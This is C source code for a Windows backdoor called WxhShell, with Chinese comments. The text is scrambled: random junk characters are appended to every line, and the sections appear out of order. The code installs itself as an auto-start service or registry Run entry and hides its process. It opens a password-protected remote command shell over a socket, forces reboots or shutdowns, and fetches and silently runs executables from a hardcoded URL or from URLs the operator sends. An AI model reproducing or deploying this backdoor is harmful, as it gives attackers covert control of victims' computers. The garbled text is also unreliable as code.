    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); D%L}vugxK  
    if(Boot(SHUTDOWN)) ZPrL)']  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jV83%%e  
    else { 8lG@8tbW^  
    closesocket(wsh); #t.)4$  
    ExitThread(0); JI TQ3UL:W  
    } vrr&Ve  
    break; `Sh#> Jp  
    } ElJM. a  
  // 获取shell ~p9nAACU  
  case 's': { !q:[$g-@q  
    CmdShell(wsh); zGtWyXP  
    closesocket(wsh); G}!dm0s$  
    ExitThread(0); ~Z74e>V%  
    break; _J'V5]=4  
  } :~K c"Pg  
  // 退出 oD_n+95B  
  case 'x': { KI* erK [d  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); y|sU-O2}Dl  
    CloseIt(wsh); U?vG?{A  
    break; T#ktC0W]h  
    } `zQ2 i}Uju  
  // 离开 TQXp9juK  
  case 'q': { W{pyU \  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ZCdlTdY   
    closesocket(wsh); i98>=y~  
    WSACleanup(); zcF`Z {&+  
    exit(1); 6[r-8_  
    break; x+?P/Ckg  
        } Mf 7 Z5  
  } ={HYwP;  
  } Lt\Wz'6Y  
5u(,g1s}UZ  
  // 提示信息 a?_!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;+d2qbGd  
} #$vQT}  
  } f{s}[p~  
xvx5@lx  
  return; "eqNd"~  
} dj>ZHdTn  
PtfxF]%H  
// shell模块句柄 [^oTC;  
int CmdShell(SOCKET sock) xqP DL9\  
{ j c%  
STARTUPINFO si; %}T' 3  
ZeroMemory(&si,sizeof(si)); lB7 V4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; -&L(0?*qo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ]+C;C  
PROCESS_INFORMATION ProcessInfo; XTzz/.T;Z  
char cmdline[]="cmd"; ^0 zWiX  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ,C4gA(')K  
  return 0; |wef[|@%  
} |f9fq~'1e  
2P&KU%D)0s  
// 自身启动模式 J|$(O$hYy  
int StartFromService(void) %(f&).W  
{ ssf.ef$  
typedef struct @-^jbmu^ P  
{ L?aaR %6#  
  DWORD ExitStatus; ]@Gw$  
  DWORD PebBaseAddress; #0;H'GO?c  
  DWORD AffinityMask; +(a}S$C  
  DWORD BasePriority; h-0#h/u>M  
  ULONG UniqueProcessId; w6b\l1Z  
  ULONG InheritedFromUniqueProcessId; rsr}%J  
}   PROCESS_BASIC_INFORMATION; W~EDLLZ  
uyE_7)2d  
PROCNTQSIP NtQueryInformationProcess; Kx8>  
mA{G: d  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; {x&"b-  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; >gj%q$@  
AeQIsrAHE  
  HANDLE             hProcess; A>0wqT  
  PROCESS_BASIC_INFORMATION pbi; $w:7$:k  
&:]ej6 V'[  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); =Gl6~lJ{_  
  if(NULL == hInst ) return 0; UKfC!YR2J8  
dV~d60jOF  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bcVzl]9  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #$W bYL|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); (x+C =1,  
;%#.d$cU  
  if (!NtQueryInformationProcess) return 0; ceKR?%8s  
MQ~OG9.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); } `X.^}oe  
  if(!hProcess) return 0; ~8rVf+bg3  
VG)Y$S8.>  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; [,@gSb|D?  
r~<I5MZY  
  CloseHandle(hProcess); &Fw8V=Pw  
In3},x +$  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); cH== OM7&-  
if(hProcess==NULL) return 0; KNI* :  
?3=D-Xrb  
HMODULE hMod; GS<aXh k  
char procName[255]; ~7kIe+V  
unsigned long cbNeeded; D&)w =qIu  
|i/Iv  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); |I0O|Zdv  
q?9x0L  
  CloseHandle(hProcess); RV%aFI )  
:!fP~(R'm  
if(strstr(procName,"services")) return 1; // 以服务启动  Uk2U:  
*5Mg^}ZC5  
  return 0; // 注册表启动 J)148/  
} JGLjx"Y  
JA")L0a_  
// 主模块 #z( JYw,  
int StartWxhshell(LPSTR lpCmdLine) x)^/3  
{ u U|fCwQt  
  SOCKET wsl; Z'u:Em  
BOOL val=TRUE; )P)Zds@F  
  int port=0; | e&v;48  
  struct sockaddr_in door; =Wgz\uGJ  
RhL!Z z  
  if(wscfg.ws_autoins) Install(); .q!U@}k.  
c:$W5j('Z  
port=atoi(lpCmdLine); `S&$y4|Vs  
|Z"5zL10  
if(port<=0) port=wscfg.ws_port; r@|{mQOxa  
CO)BF%?B  
  WSADATA data; L\`uD  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; XBTtfl &  
{H\(H _X  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   gG>|5R0  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p!XB\%sv'"  
  door.sin_family = AF_INET; dxz.%a@PW  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); xlhc`wdm  
  door.sin_port = htons(port); T#>1$0yv  
7GyJmzEE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { @D'NoA@1A  
closesocket(wsl); nMBKZ  
return 1; qjtrU#n  
}  C0Oe$& _  
h_SDW %($  
  if(listen(wsl,2) == INVALID_SOCKET) { D:r+3w:l]  
closesocket(wsl); _ @U11|  
return 1; 8M"0o}wx  
} L#\!0YW/@  
  Wxhshell(wsl); 0-N"_1k|?  
  WSACleanup(); ;:^^Qfp  
1=9M@r~ ^  
return 0; CP%?,\  
bPe|/wp  
} jRhOo% p  
cyQ&w>'  
// 以NT服务方式启动 52zD!(   
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nw)yK%`;M  
{ U}=o3u  
DWORD   status = 0; M^e;WY@ D  
  DWORD   specificError = 0xfffffff; +H'{!:e5  
$_u9Y!  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7*a']W{aJ  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; i6.HR?n  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9"jhS0M  
  serviceStatus.dwWin32ExitCode     = 0; Kt 0 3F$  
  serviceStatus.dwServiceSpecificExitCode = 0; gbl`_t/  
  serviceStatus.dwCheckPoint       = 0; }8zw| (GR,  
  serviceStatus.dwWaitHint       = 0; sfN6ro  
IPIas$  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); [VsTyqV a  
  if (hServiceStatusHandle==0) return; ~S$\ PG4  
LH" CIL2  
status = GetLastError(); ~zcHpxO^W  
  if (status!=NO_ERROR) 4"=(kC~~  
{ 6dzY9   
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ?xb4y=P7  
    serviceStatus.dwCheckPoint       = 0; '5*8'.4Sy  
    serviceStatus.dwWaitHint       = 0; !^,<nP  
    serviceStatus.dwWin32ExitCode     = status; pKxq\U  
    serviceStatus.dwServiceSpecificExitCode = specificError; )PU_'n=>  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `!JcQ'u  
    return; #cZ<[K q6  
  } [5iBXOmpS=  
;mi+[`E  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Oh|KbM*vS  
  serviceStatus.dwCheckPoint       = 0; =:5o"g  
  serviceStatus.dwWaitHint       = 0; Q`ALyp,9b  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); [ITtg?]F  
} LRuB&4r8  
5i$iUDuT>(  
// 处理NT服务事件,比如:启动、停止 g~A~|di|  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  ^O9_dP:  
{ Kb/w+J S  
switch(fdwControl) Pr!H>dH8o  
{ `E4+#_ v  
case SERVICE_CONTROL_STOP: Q)$RE{*-  
  serviceStatus.dwWin32ExitCode = 0; 15 /lX  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; d7*fP S  
  serviceStatus.dwCheckPoint   = 0; Rl%?c5U/$  
  serviceStatus.dwWaitHint     = 0; : }q~<  
  { v'vYN h  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -D4"uoN.  
  } \d,wcL  
  return; {Y(#<UDM  
case SERVICE_CONTROL_PAUSE: Q8~|0X\.g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; DC5^k[m  
  break; BSMM3jXb  
case SERVICE_CONTROL_CONTINUE: uxjx~+qFd  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; mHYR?  
  break; "s!|8F6$  
case SERVICE_CONTROL_INTERROGATE: m! 3e>cI  
  break; FthrI  
}; h3<L,Olp  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); vpoYb  
} WcG}9)9  
XuY#EJbZ  
// 标准应用程序主函数 Ei Yj`P  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) T- |36Os4  
{ ?q %&"  
[T<Z?  
// 获取操作系统版本 /ZeN\ybx  
OsIsNt=GetOsVer(); j -R9=vB2  
GetModuleFileName(NULL,ExeFile,MAX_PATH); l, [cR?v  
z :q9~  
  // 从命令行安装 3utv  
  if(strpbrk(lpCmdLine,"iI")) Install(); (9phRo)>  
&6#>a"?"  
  // 下载执行文件 FS1> J%P  
if(wscfg.ws_downexe) { 3rUuRsXn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) )qL UHE=  
  WinExec(wscfg.ws_filenam,SW_HIDE); [2 yxTK  
} g9XAUZe  
I\,m6 =q  
if(!OsIsNt) { M(8Mj[>>Rj  
// 如果时win9x,隐藏进程并且设置为注册表启动 N Qdz]o  
HideProc(); 0|^/e -^  
StartWxhshell(lpCmdLine); Z +vT76g3  
} ~@Wg3'&  
else .C=I~Z  
  if(StartFromService()) eBs4:R_i  
  // 以服务方式启动 68 *~5]  
  StartServiceCtrlDispatcher(DispatchTable); Z.iQm{bI  
else ]DO ~7p[  
  // 普通方式启动 }5??n~:*5  
  StartWxhshell(lpCmdLine); Pcs62aE  
Y!K5?kk  
return 0; '@WpJ{]A  
} 'PBuf:9lN  
z K+C&X  
I/HcIBJ  
jMP!/t :w  
=========================================== uYu/0fQD  
%!vgAH4  
Cr  a@  
w~n7l97Pw  
"7. lsL5  
z5k9|.hgw  
" Ol@ssm  
t V:oBT*  
#include <stdio.h> 9eh9@~mU"l  
#include <string.h> Xe J|Z)qZ  
#include <windows.h> `-J$7)d@  
#include <winsock2.h> mx ]a@tu  
#include <winsvc.h> jO9w7u6  
#include <urlmon.h> 2`ED?F68gH  
{f12&t  
#pragma comment (lib, "Ws2_32.lib") M< 1rQW'  
#pragma comment (lib, "urlmon.lib") DJGq=*  
%_>+K;<  
#define MAX_USER   100 // 最大客户端连接数 S Y7'S#  
#define BUF_SOCK   200 // sock buffer l"ZfgJ}W  
#define KEY_BUFF   255 // 输入 buffer Wi5rXZS  
M#U#I :z%  
#define REBOOT     0   // 重启 r@.3.Q  
#define SHUTDOWN   1   // 关机 =ll{M{0Q]!  
@S>$y5if  
#define DEF_PORT   5000 // 监听端口 OfAh? ^R  
d ~`_;.z  
#define REG_LEN     16   // 注册表键长度 rF*L@HI  
#define SVC_LEN     80   // NT服务名长度 D |lm,  
S7A[HG;  
// 从dll定义API .bT+#x  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8!!iwmH{  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); M.(shIu!+  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5IsRIz[`TK  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); N)&(&2  
@=0O' XM  
// wxhshell配置信息 &M5_G$5n  
struct WSCFG { eKT'd#o2R  
  int ws_port;         // 监听端口 -j<g}IG  
  char ws_passstr[REG_LEN]; // 口令 }p <p(  
  int ws_autoins;       // 安装标记, 1=yes 0=no +I9+L6>UR  
  char ws_regname[REG_LEN]; // 注册表键名 i,h)  
  char ws_svcname[REG_LEN]; // 服务名 eLd7|*|  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 4YmN3i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ^UJ#YRzi  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 `"#0\Wh  
int ws_downexe;       // 下载执行标记, 1=yes 0=no zq?Iwyo  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;Bs^+R7  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 3H'+7[~qH  
5YQq*$|'+  
}; qOi3`6LCV  
4wa8Vw`  
// default Wxhshell configuration bktw?{h  
struct WSCFG wscfg={DEF_PORT, tK$x=9M  
    "xuhuanlingzhe", DKzP)!B "  
    1, 51Nh"JTy  
    "Wxhshell", SjZ?keKZ  
    "Wxhshell", S(b5Gj/Kd  
            "WxhShell Service", OG C|elSM  
    "Wrsky Windows CmdShell Service", (ru9Ke%Dx  
    "Please Input Your Password: ", ?Ww\D8yV&  
  1, qU/,&C  
  "http://www.wrsky.com/wxhshell.exe", sY#iGEf  
  "Wxhshell.exe" (_Ld^ ^|  
    }; S[_Hc$7U  
'B$ bGQ  
// 消息定义模块 vcsMU|GGh  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; @6~OQN  
char *msg_ws_prompt="\n\r? for help\n\r#>"; T 5jZd@VT,  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; +EnJyli  
char *msg_ws_ext="\n\rExit."; ,XZ[L? >  
char *msg_ws_end="\n\rQuit."; o (OC3  
char *msg_ws_boot="\n\rReboot..."; | gou#zi  
char *msg_ws_poff="\n\rShutdown..."; 7T)J{:+0!|  
char *msg_ws_down="\n\rSave to "; pKM5<1J  
w ,CZ*/^  
char *msg_ws_err="\n\rErr!"; CL U[')H0  
char *msg_ws_ok="\n\rOK!"; ,iUYsY  
}: W6Bo-|  
char ExeFile[MAX_PATH];  FsbX{  
int nUser = 0; x!<?/I)X  
HANDLE handles[MAX_USER]; nKoc%TNqe  
int OsIsNt; d_5wMK6O6  
6-'Y*  
SERVICE_STATUS       serviceStatus; XP$1CWI  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -i}@o1o\  
b,7@)sZ*  
// 函数声明 9=-!~ _'1-  
int Install(void); @+S5"W  
int Uninstall(void); |0wUOs*5  
int DownloadFile(char *sURL, SOCKET wsh); 9%VNzPzf  
int Boot(int flag); kp+\3z_  
void HideProc(void); h2Pvj37  
int GetOsVer(void); Ef}rMkv  
int Wxhshell(SOCKET wsl); rdL>yT/A  
void TalkWithClient(void *cs); `B^ HW8  
int CmdShell(SOCKET sock); b;[u=9ez  
int StartFromService(void); gda3{g7<)  
int StartWxhshell(LPSTR lpCmdLine); u/@dWeY[]  
aXSTA ,%  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); wN])"bmB  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); .-:R mYGR  
`GG PkTN  
// 数据结构和表定义 U =()T}b>  
SERVICE_TABLE_ENTRY DispatchTable[] = &UWSf  
{ )eFq0+6*)  
{wscfg.ws_svcname, NTServiceMain}, a*8^M\>m4  
{NULL, NULL} *d,u)l :S  
}; 9tnW:Nw~  
"~f=7  
// 自我安装 SGU~LW&  
int Install(void) iCouGd}  
{ >D';i\2j&  
  char svExeFile[MAX_PATH]; k^pf)*p  
  HKEY key; =9oN#4mWK  
  strcpy(svExeFile,ExeFile); s -Mzl?o  
?hu$  
// 如果是win9x系统,修改注册表设为自启动 %h ?c  
if(!OsIsNt) { ]i=\5FH e  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kpkN GQ2  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); mn=G6h T}W  
  RegCloseKey(key); (+Yerc.NQt  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Jmln*,Ol7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); h5bQ  
  RegCloseKey(key); Xm7Nr#  
  return 0; HDyus5g  
    } K4vl#*qn  
  } O;qerE?i`  
} }5RCks;)*  
else { ,R j{^-k  
*Mt's[8  
// 如果是NT以上系统,安装为系统服务 J`ia6fy.I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); +G3&{#D ?  
if (schSCManager!=0) * Yr)>;^  
{ zL @ZNH  
  SC_HANDLE schService = CreateService RNyw`>  
  ( S-"&#OfWg<  
  schSCManager, +_8*;k@F'  
  wscfg.ws_svcname, r@3VN~  
  wscfg.ws_svcdisp, =<.8  
  SERVICE_ALL_ACCESS, D]9I-|  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Xi'y-cV ^  
  SERVICE_AUTO_START, 'm@0[i  
  SERVICE_ERROR_NORMAL, "28b&pm  
  svExeFile, d#N<t`  
  NULL, bBkF,`/f$  
  NULL, fPs' A  
  NULL, "lo:"y(u  
  NULL, h Znq\p~  
  NULL Uk u~"OGC  
  ); @<ba+z>"~4  
  if (schService!=0) r/E;tm [\  
  { s@sr.'yU  
  CloseServiceHandle(schService); /q4<ZS#  
  CloseServiceHandle(schSCManager); z?HP%g'M~  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D>u1ngu  
  strcat(svExeFile,wscfg.ws_svcname); *dn~-W.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \N\Jny  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); DiyviH  
  RegCloseKey(key); 'H<0:bQ=I  
  return 0; D7b<&D@  
    } \v7M`! &  
  } 6@-VLO))O  
  CloseServiceHandle(schSCManager); Kr!(<i  
} 0xVue[ep  
} s[ |sfqB1`  
vMsb@@O\\  
return 1; \gRX:i#n  
} ( w(GJ/g  
O|J`M2r  
// 自我卸载 1!"0fZh9U  
int Uninstall(void) p4;A[2Ot`:  
{ he0KzwBF  
  HKEY key; +B$ o8V  
CPVR  
if(!OsIsNt) { 48CLnyYiF  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H/>86GG  
  RegDeleteValue(key,wscfg.ws_regname); oagxTFh8~  
  RegCloseKey(key); q/Dc*Qn m  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { < @9p|[!  
  RegDeleteValue(key,wscfg.ws_regname); =PiDZS^"  
  RegCloseKey(key); HTK79 +  
  return 0; AvdxDN  
  } P agzp%m  
} d/G`w{H}y  
} MP\$_;&xB  
else { I"4j152P|  
" d3pkY  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); G\S\Qe{P~  
if (schSCManager!=0) ngoo4}  
{ O1pBr=+j+{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); u+eA>{  
  if (schService!=0) jk2h"):B>  
  { $v?+X20  
  if(DeleteService(schService)!=0) { 0 !yvcviw  
  CloseServiceHandle(schService); XJ~_FiB  
  CloseServiceHandle(schSCManager); =e/{fUg8f  
  return 0; 'f9 fw^  
  } ;aKdRhDo  
  CloseServiceHandle(schService); [#>ji+%=  
  } =.,]}  
  CloseServiceHandle(schSCManager); >cEc##:5  
} ]w.:K*_=  
} [L 0`B9TD~  
c Q~}qE>I  
return 1; f?T6Ne'  
} [$_d|Z  
D;.O#bS  
// 从指定url下载文件 mw9;LNi\D  
int DownloadFile(char *sURL, SOCKET wsh) z5PFppSQ  
{ GUJ[2/V~A  
  HRESULT hr; sZ #Ck"n  
char seps[]= "/"; E]`)  
char *token; jy`jxOoG~Z  
char *file; F|q-ZlpW-  
char myURL[MAX_PATH]; r- 0BLq]~{  
char myFILE[MAX_PATH]; i|PQNhUe  
euO!+9p  
strcpy(myURL,sURL); Hzs]\%"  
  token=strtok(myURL,seps); |><hdBQXX<  
  while(token!=NULL) = R|?LOEK+  
  { )=TD}Xb  
    file=token; /NCEZ@2BN,  
  token=strtok(NULL,seps); j?D=Ij"o  
  } _ETG.SYq  
+v:t  
GetCurrentDirectory(MAX_PATH,myFILE); .8hB <G  
strcat(myFILE, "\\"); 8jW{0&ox)  
strcat(myFILE, file); }I;A\K]  
  send(wsh,myFILE,strlen(myFILE),0); :Xc%_&)  
send(wsh,"...",3,0); Mi&,64<  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); =s`\W7/;{-  
  if(hr==S_OK) 1UX"iO x(  
return 0; 59gt#1k  
else jPg8>Z&D  
return 1; EzOO6  
2@ vSe  
} xoI;s}*E  
[{e[3b*M|  
// 系统电源模块 &/*XA  
int Boot(int flag) ;:Q 5?zM  
{ +L1%mVq]y  
  HANDLE hToken; I#QBJ#  
  TOKEN_PRIVILEGES tkp; hW[/{2<@  
i8pM,Ppi~  
  if(OsIsNt) { O1IR+"0  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _?&$@c  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 4jefU}e9#  
    tkp.PrivilegeCount = 1; Reca5r1O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; UA$ XjP  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); So?SBh1C  
if(flag==REBOOT) { |>a sGP  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) $wUFHEl  
  return 0; (yWU9q)5  
} mh;<lW\K/Z  
else { b[,J-/;JNL  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) y&Sl#IQ L  
  return 0; mDz{8N9<FG  
} mw%do&e  
  } [<P(S~J  
  else { P3 se"pP  
if(flag==REBOOT) { f3Ior.n(  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) P.mz$M  
  return 0; -o*IJQ_  
} V.5gxr3QqW  
else { d{2+> >d  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 1P(rgn:8e  
  return 0; 9X&Xc  
} &1Dq3%$c  
} @ qWgokf  
r# MJ  
return 1; T X.YTU  
} _cdrz)T  
+@[T0cXp  
// win9x进程隐藏模块 ScU?T<u:i  
void HideProc(void) W|J8QNL?jm  
{ 'EoJo9p6}  
:4s{?IY)l  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); :GXiA  
  if ( hKernel != NULL ) U<J4\|1?7'  
  { fCTdM+t  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); (&R /ns~  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); HbQ `b  
    FreeLibrary(hKernel); 'PRsZ`x.  
  } R=P=?U.  
Y`jvza%  
return; :xISS  
} (#GOXz  
'"&M4.J{  
// 获取操作系统版本 ,K=\Y9l3  
int GetOsVer(void) 8px@sXI*`  
{ 8P5yaS_  
  OSVERSIONINFO winfo; Rhh5r0 \5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ||3%REliC  
  GetVersionEx(&winfo); SskvxH+7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) rC.z772y%  
  return 1; Jm&7&si7  
  else +-YMW;5  
  return 0; 7/QQ&7+NkS  
} 9 I>qD  
9qS~-'&q#  
// 客户端句柄模块 }&A!h  
int Wxhshell(SOCKET wsl) _7es_w}R  
{ 9x@( K|  
  SOCKET wsh; |PR8P!'  
  struct sockaddr_in client; ?g gl8bzA  
  DWORD myID; GlkTpX^b  
NrH2U Jm  
  while(nUser<MAX_USER) FJo  ?~  
{ 8qGK"%{ ~  
  int nSize=sizeof(client); -t~l!! N(  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ApHs`0=(  
  if(wsh==INVALID_SOCKET) return 1; [4 L[.N@  
#DK@&Gv  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ^\=<geEj  
if(handles[nUser]==0) "8}p>gS  
  closesocket(wsh); As0E'n85  
else .CGPG,\2  
  nUser++; G"P@AOw  
  } ggQ/_F8u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); J'c]':U  
u6^cLQO+  
  return 0; jp=z ^l  
} F]]1>w*/0  
?'ID7mL  
// 关闭 socket &#!5I;3EN  
void CloseIt(SOCKET wsh) EH{m~x[Ei  
{ ~L\KMB/9e=  
closesocket(wsh); #M kXio; h  
nUser--; x=>B 6o-f  
ExitThread(0); qv\n]M_&  
} IzVb  
| a001_Wv  
// 客户端请求句柄 D2N| A  
void TalkWithClient(void *cs) vN#?>aL  
{ 0#1hkJ"  
M)4-eo  
  SOCKET wsh=(SOCKET)cs; ~q]@Jp  
  char pwd[SVC_LEN]; _9yb5_  
  char cmd[KEY_BUFF]; QOXG:?v\  
char chr[1]; q?} /q  
int i,j; >g7}JI&  
cmG*"  
  while (nUser < MAX_USER) { XY %er  
:[![9JS/  
if(wscfg.ws_passstr) { @qj4rt"  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); nE.w  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4WCWu}  
  //ZeroMemory(pwd,KEY_BUFF); dH:z _$Mg  
      i=0; 7<FI[  
  while(i<SVC_LEN) { [7x,&  
#dy z  
  // 设置超时 o/0cd  
  fd_set FdRead; "#zSk=52z  
  struct timeval TimeOut; y!_*CYZ~m  
  FD_ZERO(&FdRead); S,ZlS<Z#  
  FD_SET(wsh,&FdRead); MLD1%* &0  
  TimeOut.tv_sec=8; @bs YJ4-V  
  TimeOut.tv_usec=0; s Dq{h  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 7{jB!Xj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 2to~=/.  
Jr|"QRC  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~,#zdm1r@  
  pwd=chr[0]; l0Rjq*5hJ  
  if(chr[0]==0xd || chr[0]==0xa) { \"=4)Huv  
  pwd=0; dCq-&3?t  
  break; oDz%K?29%  
  } bY` b3  
  i++; & Xh8j^p'  
    } bloe|o!  
2gP^+.  
  // 如果是非法用户,关闭 socket Dp1FX"a)  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); o[=h=&@5p  
} wJ.?u]f@  
B%y?+4;zA  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); : jgvg$fd  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); NsbC0xLd  
2ed4xh V  
while(1) { @4sEHk 3  
R<\5 q%@G  
  ZeroMemory(cmd,KEY_BUFF); HJ5 Ktt  
KDTG9KC  
      // 自动支持客户端 telnet标准   * AsILK0  
  j=0; ~|y$^qy?U  
  while(j<KEY_BUFF) { 'v|R' wi\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [[vu#'bc  
  cmd[j]=chr[0]; w4:|Z@I  
  if(chr[0]==0xa || chr[0]==0xd) { cf\PG&S  
  cmd[j]=0; @34Z/%A  
  break; !+bLh W`  
  } m .:2G  
  j++; h\qQ%|X  
    } {?X#E12vf  
d}d1]@Y\  
  // 下载文件 jVW .=FK  
  if(strstr(cmd,"http://")) { 1=U(ZX+u  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 5a8[0&hA 2  
  if(DownloadFile(cmd,wsh)) ]IF QD  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); R\i8O^[  
  else s,z$Vt"h*K  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sGBm[lplz  
